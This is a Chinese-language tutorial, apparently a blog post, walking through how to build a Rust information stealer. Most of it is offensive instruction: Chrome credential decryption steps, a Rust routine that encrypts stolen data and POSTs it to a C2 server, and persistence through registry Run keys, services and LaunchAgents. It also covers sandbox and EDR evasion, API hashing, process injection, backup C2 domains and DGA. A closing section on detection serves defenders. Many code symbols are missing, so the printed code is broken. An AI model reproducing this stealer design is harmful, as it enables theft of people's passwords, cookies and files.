1. 项目概述为什么是Rust最近几年安全圈里一个挺有意思的现象是越来越多的恶意软件开发者开始把目光投向Rust。这听起来有点反直觉毕竟Rust一直以“安全、并发、高性能”著称是系统级编程的“好公民”。但恰恰是这些特性让它成为了某些特殊场景下的“利器”。今天我们不谈道德只谈技术从一个纯粹的技术实现角度来拆解一下如何用Rust构建一个信息窃取器Information Stealer。这能帮你理解现代恶意软件的演进趋势更重要的是作为防御方你能更清楚地知道对手可能用什么工具、什么思路来攻击你。信息窃取器顾名思义它的核心任务就是悄无声息地从目标机器上收集敏感信息比如浏览器保存的密码、自动填充数据、Cookie、加密货币钱包、系统信息、屏幕截图甚至是特定目录下的文档然后把这些数据打包、加密发送到攻击者控制的服务器。传统的这类工具多用C、C或Python编写但各有各的痛点C/C内存安全问题多容易崩溃或被检测Python需要解释器依赖明显容易被静态分析。Rust的出现提供了一个新的选择它能编译成高效、无额外依赖的原生二进制文件其所有权系统和严格的编译时检查极大地减少了内存安全漏洞如缓冲区溢出的风险这让恶意软件更稳定、更隐蔽。同时Rust强大的类型系统和丰富的生态库crate让开发复杂的多线程、网络通信、加密等功能变得相对容易。所以这个“实战案例”的目的是深入技术底层理解一种新兴的攻击载体。对于安全研究人员、红队队员或是单纯对Rust系统编程感兴趣的朋友来说这是一个绝佳的、深入理解操作系统交互、网络编程和数据处理的综合项目。记住我们讨论的所有代码和思路都应仅在授权的测试环境或完全隔离的实验室中运行。2. 核心架构与设计思路构建一个信息窃取器远不止是写几个函数那么简单。它需要一套完整的工程化思维考虑隐蔽性、稳定性、兼容性和可扩展性。用Rust来实现我们可以充分利用其语言特性来优化这些方面。2.1 模块化设计高内聚低耦合一个好的设计应该像乐高积木各个模块功能独立又能轻松组合。我们的窃取器可以大致分为以下几个核心模块信息收集模块这是窃取器的“眼睛”和“手”。负责扫描磁盘、查询注册表Windows、读取特定文件、调用系统API获取进程列表、网络配置等。这部分需要针对不同操作系统主要是Windows其次是macOS和Linux进行条件编译。数据持久化与加密模块收集到的原始数据可能是文本、二进制文件如数据库或内存数据。我们需要一个统一的格式如JSON来序列化它们。更重要的是在将数据发送出去之前必须进行加密。这涉及到对称加密算法如AES的选择和密钥管理。网络通信模块这是窃取器的“嘴”和“腿”。负责与C2命令与控制服务器建立连接上传窃取的数据并接收可能的指令如下载并执行新模块。通信需要隐蔽可能使用HTTPS来伪装在正常流量中或者使用更复杂的协议如DNS隧道、WebSocket。反分析/规避模块为了让程序存活更久需要一些基本的“自卫”能力。例如检查自身是否在沙箱、虚拟机或调试器中运行通过代码混淆、字符串加密增加静态分析难度实现进程注入或持久化机制如注册为服务、计划任务。选择Rust我们可以用cargo轻松管理这些模块。每个模块可以是一个独立的crate或者至少是项目中的一个mod。例如信息收集模块可能会依赖winapiWindows、dirs跨平台目录、keyring访问系统密钥环等crate。2.2 隐蔽性与持久化策略隐蔽是恶意软件的生存之本。Rust编译出的单个可执行文件本身就有一定优势。但我们还可以做得更多文件名与图标伪装将可执行文件命名为类似svchost.exe、updater.exe或伪装成PDF文档图标在Windows上通过资源编辑实现。代码混淆虽然Rust编译后的代码已经有一定复杂度但可以使用LLVM混淆器插件或在编译后使用工具进行二进制混淆增加逆向工程难度。持久化Windows可以通过修改注册表HKCU\Software\Microsoft\Windows\CurrentVersion\Run实现用户登录自启动。更隐蔽的方式是创建Windows服务Service这需要更高的权限但存活率也更高。Rust中可以使用windows-service这个crate来相对方便地创建和管理服务。macOS可以创建Launch Agent plist文件到~/Library/LaunchAgents/。Linux可以添加桌面入口文件或systemd用户服务。沙箱检测简单的检查包括查看CPU核心数沙箱通常很少、内存大小、磁盘空间、是否存在特定进程如vboxservice、或测量代码执行的时间差沙箱可能加速模拟。这些检查可以用条件判断实现如果检测到沙箱则程序可以进入“休眠”状态或执行无害操作。2.3 错误处理与日志记录一个健壮的程序必须能妥善处理错误。Rust的Result和?操作符是天生的帮手。在恶意软件上下文中日志记录需要格外小心。我们绝不能将调试信息输出到标准输出或文件这等于自曝行踪。取而代之的是应该将关键的错误信息或状态信息通过加密通道发送回C2服务器或者干脆静默失败不留下任何本地痕迹。在代码中应大量使用map_err将底层错误转换为自定义的错误类型并在最高层的循环或主逻辑中决定如何处理如重试、跳过或上报。3. 关键模块实现细节解析理论说再多不如一行代码。我们来深入几个最关键模块的实现细节看看Rust如何大显身手。3.1 信息收集瞄准浏览器数据浏览器是信息宝库。以收集Chrome的登录凭据为例在Windows上它们通常加密存储在%LocalAppData%\Google\Chrome\User Data\Default\Login Data这个SQLite数据库中。加密密钥则藏在%LocalAppData%\Google\Chrome\User Data\Local State这个JSON文件里。实现步骤定位文件使用dirs::data_local_dir()结合路径拼接找到上述文件。需要处理可能的多用户profile情况。提取加密密钥读取Local State文件解析JSON找到os_crypt.encrypted_key这个字段。这个密钥本身是用DPAPIWindows数据保护API加密过的。我们需要调用Windows API来解密它。// 伪代码示例实际需要依赖windows crate和复杂的API调用 fn decrypt_master_key(encrypted_key: [u8]) - ResultVecu8 { // 调用CryptUnprotectData解密 // ... }解密数据库密码使用解密出来的密钥通过AES-256-GCM算法解密数据库中的password_value字段。这里会用到aes-gcm和ring等加密库。注意Chrome版本不同加密方式可能有细微差别。读取数据库使用rusqlitecrate打开Login Data文件执行SQL查询SELECT origin_url, username_value, password_value FROM logins然后对password_value进行步骤3的解密。注意直接读取Chrome的数据库文件可能在Chrome运行时被锁定导致读取失败。一个常见的技巧是先将数据库文件复制到临时位置再对副本进行操作。此外Edge、Brave等基于Chromium的浏览器其数据存储路径和格式类似可以一并支持。除了浏览器其他常见目标包括系统信息通过sysinfocrate获取。文件遍历使用walkdircrate递归扫描Downloads、Desktop、Documents目录寻找.pdf.docx.xlsx等文件。屏幕截图在Windows上可以使用screenshotcrate或直接调用user32.dll和gdi32.dll的相关函数。剪贴板内容使用clipboardcrate。3.2 安全通信与C2服务器的“暗语”数据收集好后需要安全地送出去。直接明文HTTP POST是自杀行为。我们需要加密和隐蔽。方案一HTTPS 自定义协议这是目前最主流也是最“像”正常流量的方式。使用reqwestcrate启用rustls-tls特性以避免OpenSSL依赖向一个看起来正常的域名如api.update-microsoft.com发送HTTPS POST请求。请求体是我们加密后的数据包。关键在于数据包格式。我们可以设计一个简单的二进制协议[4字节 数据长度][数据]数据部分则是先用一个随机生成的AES-256密钥加密实际内容再用C2服务器的RSA公钥加密这个AES密钥将两者一起打包。这样即使流量被截获没有服务器私钥也无法解密。use reqwest::blocking::Client; use rsa::{RsaPublicKey, pkcs8::DecodePublicKey}; use aes_gcm::{Aes256Gcm, KeyInit, aead::Aead}; fn send_data(c2_url: str, data: [u8], rsa_pub_key: RsaPublicKey) - Result() { // 1. 生成随机的AES密钥和Nonce let aes_key Aes256Gcm::generate_key(mut rand::thread_rng()); let nonce aes_gcm::generate_nonce(mut rand::thread_rng()); // 2. 用AES加密数据 let cipher Aes256Gcm::new(aes_key); let encrypted_data cipher.encrypt(nonce, data).map_err(|e| anyhow::anyhow!(AES加密失败: {}, e))?; // 3. 用RSA公钥加密AES密钥 let encrypted_key rsa_pub_key.encrypt(mut rand::thread_rng(), PaddingScheme::PKCS1v15Encrypt, aes_key)?; // 4. 组装最终包[nonce(12字节)][加密的AES密钥长度(2字节)][加密的AES密钥][加密的数据] let mut final_packet Vec::new(); final_packet.extend_from_slice(nonce); final_packet.extend_from_slice((encrypted_key.len() as u16).to_be_bytes()); final_packet.extend_from_slice(encrypted_key); final_packet.extend_from_slice(encrypted_data); // 5. 发送 let client Client::new(); let _response client.post(c2_url).body(final_packet).send()?; Ok(()) }方案二更隐蔽的通道对于更高阶的需求可以考虑DNS隧道将数据编码在DNS查询和响应中或利用常见的云存储API如Google Drive, Dropbox作为中转。这些方法流量特征更不明显但实现也更复杂。3.3 内存规避让EDR“看”不清终端检测与响应EDR工具会监控进程的内存和行为。一些简单的技巧可以增加分析难度。字符串加密硬编码的URL、API密钥、函数名是明显的特征。我们可以在编译时或运行时加密它们。// 编译时加密使用构建脚本 const ENCRYPTED_C2_URL: [u8] [0x12, 0x34, 0x56, ...]; fn get_c2_url() - String { // 在运行时解密 xor_decrypt(ENCRYPTED_C2_URL, SECRET_KEY) }API哈希直接调用LoadLibraryA和GetProcAddress通过函数名的字符串来解析API这个字符串会被扫描。我们可以改为使用API的哈希值。在运行时遍历DLL的导出表计算每个函数名的哈希如简单的ROR13哈希与我们预计算的哈希值匹配从而得到函数地址。这被称为“API Hashing”在Rust中需要内联汇编或调用winapicrate的更底层接口来实现。进程注入将核心代码注入到一个合法的、受信任的进程如explorer.exe中运行。这涉及到打开远程进程、分配内存、写入shellcode、创建远程线程等一系列操作。Rust的windowscrate提供了所需的全部Win32 API绑定。这是高级技术实现不当极易导致崩溃。4. 完整构建流程与配置要点现在让我们把各个模块组装起来看看一个完整的项目应该如何构建和配置。4.1 项目初始化与依赖管理首先用cargo new stealer --bin创建一个新项目。Cargo.toml是这个项目的核心依赖项的选择至关重要。[package] name stealer version 0.1.0 edition 2021 # 可以设置优化等级和去除符号信息让二进制文件更小、更难分析 [profile.release] opt-level z # 优化大小 lto true # 链接时优化 strip true # 去除符号 [dependencies] tokio { version 1, features [full] } # 异步运行时用于网络等IO操作 reqwest { version 0.11, features [rustls-tls], default-features false } # HTTP客户端使用rustls serde { version 1.0, features [derive] } serde_json 1.0 # 操作系统特定依赖 [target.cfg(windows).dependencies] winapi { version 0.3, features [winreg, winsock2, processthreadsapi, winbase, minwindef] } windows { version 0.52, features [Win32_Foundation, Win32_System_Memory, Win32_Security, Win32_System_Threading] } # 更现代的Windows API绑定 dirs 5.0 rusqlite { version 0.29, features [bundled] } # SQLite驱动 aes-gcm 0.10 rsa 0.9 rand 0.8 anyhow 1.0 # 错误处理提示使用cfg属性进行条件编译确保非Windows平台不会尝试编译Windows特定的代码这能保证项目的跨平台编译能力即使我们主要目标平台是Windows。4.2 编译与链接优化为了减小最终二进制文件的体积我们可以使用cargo build --release进行发布构建。使用upx等可执行文件压缩工具进一步压缩。但要注意UPX压缩过的文件特征明显一些安全软件会直接标记。在Cargo.toml中设置panic abort这可以移除panic展开的相关代码减小体积但发生panic时程序会直接终止不利于稳定性对于恶意软件静默崩溃有时比抛出错误更好。考虑使用#![no_std]属性编写核心逻辑但这会失去标准库的便利仅适用于对体积极端敏感的场合。4.3 多线程与异步任务调度信息窃取往往涉及多个独立任务收集浏览器数据、扫描文件、截图、发送数据。这些任务可以并行执行以提高效率。Rust的tokio运行时非常适合这种IO密集型场景。#[tokio::main] async fn main() - Result() { let (tx, rx) tokio::sync::mpsc::channel(32); // 创建一个通道 // 启动多个收集任务 let tx1 tx.clone(); tokio::spawn(async move { let browser_data collect_chrome_passwords().await; let _ tx1.send(DataChunk::Browser(browser_data)).await; }); let tx2 tx.clone(); tokio::spawn(async move { let sys_info collect_system_info(); let _ tx2.send(DataChunk::System(sys_info)).await; }); // 启动一个消费者任务负责接收所有数据、打包、加密并发送 tokio::spawn(async move { let mut all_data Vec::new(); while let Some(chunk) rx.recv().await { all_data.push(chunk); } // 序列化、加密、发送 send_to_c2(all_data).await; }); // 主线程可以等待或执行其他任务如持久化安装 tokio::signal::ctrl_c().await?; Ok(()) }这种生产者-消费者模式清晰地将数据收集和上报解耦。5. 实战中遇到的典型问题与解决方案在开发过程中我踩过不少坑。这里分享几个最具代表性的问题及其解决方法。5.1 权限问题与用户账户控制在Windows上访问某些受保护路径如其他用户的AppData或注册表键值需要管理员权限。我们的程序可能以普通用户权限启动。解决方案1诱导提权。如果程序检测到需要管理员权限可以尝试通过ShellExecute以runas动词重新启动自身。但这会弹出UAC对话框非常显眼。// 伪代码需要调用ShellExecuteW if !is_elevated() need_admin { ShellExecuteW(NULL, runas, program_path, args, NULL, SW_SHOW); std::process::exit(0); }解决方案2权限维持。在已经获得管理员权限的情况下例如通过漏洞利用或社会工程学进行高权限操作如安装服务、添加注册表键。这是更常见的恶意软件做法。解决方案3绕开。专注于当前用户权限下可访问的数据。大部分有价值的数据浏览器、文件、Wi-Fi密码其实都在当前用户目录下无需管理员权限也能获取。这是最隐蔽的方式。5.2 防病毒软件实时监控与绕过现代AV/EDR不仅做静态特征扫描还有动态行为监控如监控对敏感API的调用、可疑的网络连接。静态绕过加壳/混淆使用商业或自定义的加壳工具对最终二进制进行处理改变其静态特征。但很多高级壳本身就有特征。代码变形在源码级别通过等价代码替换、插入垃圾指令、控制流扁平化等手段使每次编译生成的二进制都有所不同。这需要自定义编译器或后处理工具成本较高。动态绕过时间延迟程序启动后先睡眠随机时间避免沙箱的超时检测。用户交互检测模拟鼠标移动、点击或检查是否有真实的用户登录会话。拆分功能将信息收集、加密、通信等功能拆分成多个小模块按需从C2下载执行。这样初始的“下载器”体积小、行为简单不易触发警报。重要心得没有一劳永逸的绕过方法。安全软件也在不断进化。最有效的策略是“低调”和“慢”。避免大规模、快速的磁盘扫描或网络活动。将任务分散在长时间内完成模仿正常软件的行为模式。5.3 跨平台兼容性的挑战虽然Rust号称跨平台但涉及系统底层操作时差异巨大。我们的信息收集代码充满了#[cfg(windows)]、#[cfg(target_os linux)]等条件编译块。文件路径使用std::path::Path和PathBuf但连接路径时要注意分隔符。dirscrate提供了跨平台的标准目录获取。浏览器数据位置Chrome在macOS上数据在~/Library/Application Support/Google/Chrome/在Linux上在~/.config/google-chrome/。密钥管理方式也不同macOS使用KeychainLinux可能使用libsecret。这需要为每个平台实现不同的解密例程。构建使用GitHub Actions或GitLab CI等CI/CD工具可以方便地配置多平台构建矩阵一次性生成Windows、macOS、Linux的可执行文件。5.4 网络通信的稳定性与重试网络环境是不稳定的。C2服务器可能下线连接可能超时。实现指数退避重试这是必须的。发送失败后等待一段时间再重试且每次等待时间指数级增加如1秒2秒4秒8秒...直到最大重试次数。use tokio::time::{sleep, Duration}; async fn send_with_retry(data: [u8], max_retries: u32) - Result() { let mut retry_delay Duration::from_secs(1); for attempt in 0..max_retries { match send_to_c2(data).await { Ok(_) return Ok(()), Err(e) if attempt max_retries - 1 return Err(e), Err(e) { log::warn!(发送失败 (尝试 {}): {}, {}秒后重试, attempt1, e, retry_delay.as_secs()); sleep(retry_delay).await; retry_delay retry_delay * 2; // 指数退避 } } } unreachable!() }备用C2在代码中硬编码多个C2域名或IP地址。当主C2失效时按顺序尝试备用节点。域名可以通过DGA域名生成算法动态生成使得封锁变得困难。心跳机制定期向C2发送一个很小的“我还活着”的数据包保持连接活跃同时可以接收新指令。6. 防御视角如何检测此类Rust恶意软件作为蓝队或安全分析师了解攻击技术是为了更好地防御。针对Rust编写的恶意软件检测思路需要调整。静态分析字符串与导入表虽然Rust程序静态链接了大部分库减少了直接的DLL依赖但一些Windows API的字符串如果未加密和特定的crate名称可能在二进制中留下痕迹。分析工具可以寻找winapi、windowscrate中特定模块的哈希值或特征。熵值分析经过加密或压缩的数据段其熵值随机性会显著高于普通代码段。高熵的PE节如.rdata或自定义节是一个可疑指标。Rust运行时特征Rust编译的程序有其独特的启动代码和运行时结构如panic处理函数。这些可以作为识别特征。动态/行为分析监控敏感操作无论用什么语言编写恶意行为是类似的。EDR应重点监控对Login Data、Local State、Cookies等浏览器数据库文件的读取对lsass.exe进程的访问尝试大量收集系统信息GetSystemInfoNetWkstaGetInfo向外网IP发起加密的HTTPS POST请求。父子进程关系如果恶意软件通过进程注入执行观察可疑的进程派生关系或远程线程创建事件。网络流量分析虽然流量被加密但TLS握手阶段的JA3指纹、通信的周期性和数据包大小模式、连接的域名信誉尤其是新注册的、与DGA模式匹配的域名都可以作为检测依据。内存检测在内存中寻找未加密的敏感字符串如C2 URL、API密钥、或注入的shellcode。Rust程序的内存布局可能与传统C程序不同需要更新检测规则。说到底防御的核心不在于识别语言而在于识别行为。建立完善的行为基线对偏离基线的异常活动如一个普通文本编辑器进程突然去读取Chrome的密码文件进行告警是更有效的策略。同时保持系统和软件更新使用强密码和双因素认证对员工进行安全意识培训这些基础安全措施永远不过时。通过这个项目我深刻体会到攻击和防御是一场永不停歇的博弈而理解对方的工具和思维是赢得这场博弈的第一步。